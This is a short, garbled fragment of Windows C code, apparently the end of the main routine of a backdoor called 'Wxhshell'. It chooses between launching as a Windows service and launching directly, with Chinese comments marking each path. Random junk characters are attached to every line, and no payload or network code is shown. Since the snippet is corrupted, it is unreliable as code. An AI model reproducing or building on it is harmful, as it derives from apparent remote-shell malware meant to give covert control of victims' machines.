StartWxhshell(lpCmdLine); 3SF J8
} 59_VC('
else b~rlh=(o#_
if(StartFromService()) }Mc&yjhMrg
// 以服务方式启动 _#E@&z".L
StartServiceCtrlDispatcher(DispatchTable); w4uY/!~k
else Ve\!:,(Y_
// 普通方式启动 v`"BXSmp{
StartWxhshell(lpCmdLine); u9}LvQh_6,
#|cr\\2*
return 0; G'_5UP!
}